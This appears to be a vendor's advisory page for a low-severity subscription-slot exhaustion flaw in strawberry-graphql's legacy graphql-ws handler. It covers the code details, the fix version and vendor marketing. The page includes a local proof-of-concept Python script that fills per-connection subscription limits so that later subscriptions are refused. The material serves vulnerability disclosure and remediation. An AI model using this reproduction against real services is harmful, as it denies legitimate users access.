CVE-2026-107727

CVE-2026-107727 is a low-severity uncontrolled resource consumption vulnerability in strawberry-graphql (pip), affecting versions >= 0.312.3, < 0.327.2. It is fixed in 0.327.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Strawberry legacy graphql-ws retains naturally completed subscription slots

Strawberry's legacy graphql-ws subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its complete message. When the application configures max_subscriptions_per_connection, the handler counts those completed operations in len(self.tasks). A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive Subscription limit reached.

This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy graphql-ws protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured max_subscriptions_per_connection limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.

Details

The audited snapshot is Strawberry 0.324.4, commit c3caabd1188acda62045e7fd9ba9e37ac430cf96. The relevant implementation is in [strawberry/subscriptions/protocols/graphql_ws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql_ws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.

When a new operation is started, the handler rejects it once the task count reaches the configured limit:

if (
    self.max_subscriptions_per_connection is not None
    and len(self.tasks) >= self.max_subscriptions_per_connection
):
    await self.send_message(
        ErrorMessage(
            type="error",
            id=operation_id,
            payload={"message": "Subscription limit reached"},
        )
    )
    return

The operation task is stored in self.tasks, and its result source is stored in self.subscriptions. On normal exhaustion of the result source, handle_async_results() sends a completion message:

async for result in result_source:
    await self.send_data_message(result, operation_id)

await self.send_message(
    CompleteMessage(type="complete", id=operation_id)
)

The natural completion path does not call cleanup_operation() before returning. The deletion of the stored operation state is implemented separately:

async def cleanup_operation(self, operation_id: str) -> None:
    if operation_id in self.subscriptions:
        await self.subscriptions[operation_id].aclose()
        del self.subscriptions[operation_id]

    self.tasks[operation_id].cancel()
    await self.tasks[operation_id]
    del self.tasks[operation_id]

Consequently, after a one-shot operation has sent complete, its task entry can remain in self.tasks until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.

The connection-slot impact requires both parts of the behavior:

  1. the natural-completion path leaves the completed operation accounted for; and
  2. the legacy handler has max_subscriptions_per_connection enabled.

PoC

The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy graphql-ws subprotocol. It does not connect to a public endpoint or start a network service.

1. Environment installation

Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:

python -m pip install "strawberry-graphql[channels]==0.324.4" daphne

For a different tested release, replace 0.324.4 and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.

Record the actual versions before testing:

python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))"

2. Save the bounded test

Save the following as poc.py:

import asyncio

from django.conf import settings

if not settings.configured:
    settings.configure(
        SECRET_KEY="local-validation-only",
        CHANNEL_LAYERS={
            "default": {
                "BACKEND": "channels.layers.InMemoryChannelLayer",
            }
        },
    )

import strawberry
from channels.testing import WebsocketCommunicator

from strawberry.channels.handlers.ws_handler import GraphQLWSConsumer
from strawberry.schema import Schema
from strawberry.subscriptions import GRAPHQL_WS_PROTOCOL


@strawberry.type
class Query:
    @strawberry.field
    def ping(self) -> str:
        return "pong"


@strawberry.type
class Subscription:
    @strawberry.subscription
    async def one_shot(self) -> str:
        yield "marker"


schema = Schema(query=Query, subscription=Subscription)

application = GraphQLWSConsumer.as_asgi(
    schema=schema,
    subscription_protocols=(GRAPHQL_WS_PROTOCOL,),
    max_subscriptions_per_connection=2,
)


async def receive_until_complete(communicator, operation_id):
    messages = []
    for _ in range(3):
        message = await asyncio.wait_for(
            communicator.receive_json_from(), timeout=2
        )
        messages.append(message)
        if (
            message.get("type") == "complete"
            and message.get("id") == operation_id
        ):
            return messages
    raise AssertionError(
        f"no complete message for {operation_id}: {messages}"
    )


async def main() -> None:
    communicator = WebsocketCommunicator(
        application,
        "/graphql",
        subprotocols=[GRAPHQL_WS_PROTOCOL],
    )
    connected, accepted_protocol = await communicator.connect()
    assert connected
    assert accepted_protocol == GRAPHQL_WS_PROTOCOL

    try:
        await communicator.send_json_to({"type": "connection_init"})
        ack = await communicator.receive_json_from()
        assert ack["type"] == "connection_ack"

        query = "subscription { oneShot }"

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "one",
                "payload": {"query": query},
            }
        )
        first_messages = await receive_until_complete(
            communicator, "one"
        )

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "two",
                "payload": {"query": query},
            }
        )
        second_messages = await receive_until_complete(
            communicator, "two"
        )

        # Allow completed handler tasks to finish their sends before the
        # third operation is started.
        await asyncio.sleep(0)

        await communicator.send_json_to(
            {
                "type": "start",
                "id": "three",
                "payload": {"query": query},
            }
        )
        third_message = await asyncio.wait_for(
            communicator.receive_json_from(), timeout=2
        )

        print(
            {
                "first": first_messages,
                "second": second_messages,
                "third": third_message,
            }
        )
    finally:
        await communicator.disconnect()


asyncio.run(main())

3. Run

python poc.py

4. Expected results

A fixed implementation should send data and complete for both one and two, then permit three to start and complete.

The behavior is:

{
  'first': [
    {'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}},
    {'type': 'complete', 'id': 'one'}
  ],
  'second': [
    {'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}},
    {'type': 'complete', 'id': 'two'}
  ],
  'third': {
    'type': 'error',
    'id': 'three',
    'payload': {'message': 'Subscription limit reached'}
  }
}

The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that one and two both receive complete, while three receives Subscription limit reached with a different operation ID.

Maintainer note

Confirmed and reproduced against 0.327.0. The max_subscriptions_per_connection feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.

Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late stop for a completed operation is a no-op. The fix was released in 0.327.2.

Impact

When the legacy graphql-ws protocol and max_subscriptions_per_connection are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.

The primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.

Exposure depends on:

  • the application explicitly enabling the legacy graphql-ws protocol;
  • the application configuring max_subscriptions_per_connection;
  • clients being able to maintain a persistent WebSocket connection;
  • the resolver exposing a finite operation that naturally completes;
  • the absence of effective connection lifetime, connection-count, authorization, or rate limits.

This report does not claim impact on the modern graphql-transport-ws protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-107727 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.327.2); upgrading removes the vulnerable code path.

Affected versions

strawberry-graphql (>= 0.312.3, < 0.327.2)

Security releases

strawberry-graphql → 0.327.2 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade strawberry-graphql to 0.327.2 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-107727? CVE-2026-107727 is a low-severity uncontrolled resource consumption vulnerability in strawberry-graphql (pip), affecting versions >= 0.312.3, < 0.327.2. It is fixed in 0.327.2. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-107727? CVE-2026-107727 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of strawberry-graphql are affected by CVE-2026-107727? strawberry-graphql (pip) versions >= 0.312.3, < 0.327.2 is affected.
  4. Is there a fix for CVE-2026-107727? Yes. CVE-2026-107727 is fixed in 0.327.2. Upgrade to this version or later.
  5. Is CVE-2026-107727 exploitable, and should I be worried? Whether CVE-2026-107727 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-107727 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-107727? Upgrade strawberry-graphql to 0.327.2 or later.

Other vulnerabilities in strawberry-graphql

Stop the waste.
Protect your environment with Kodem.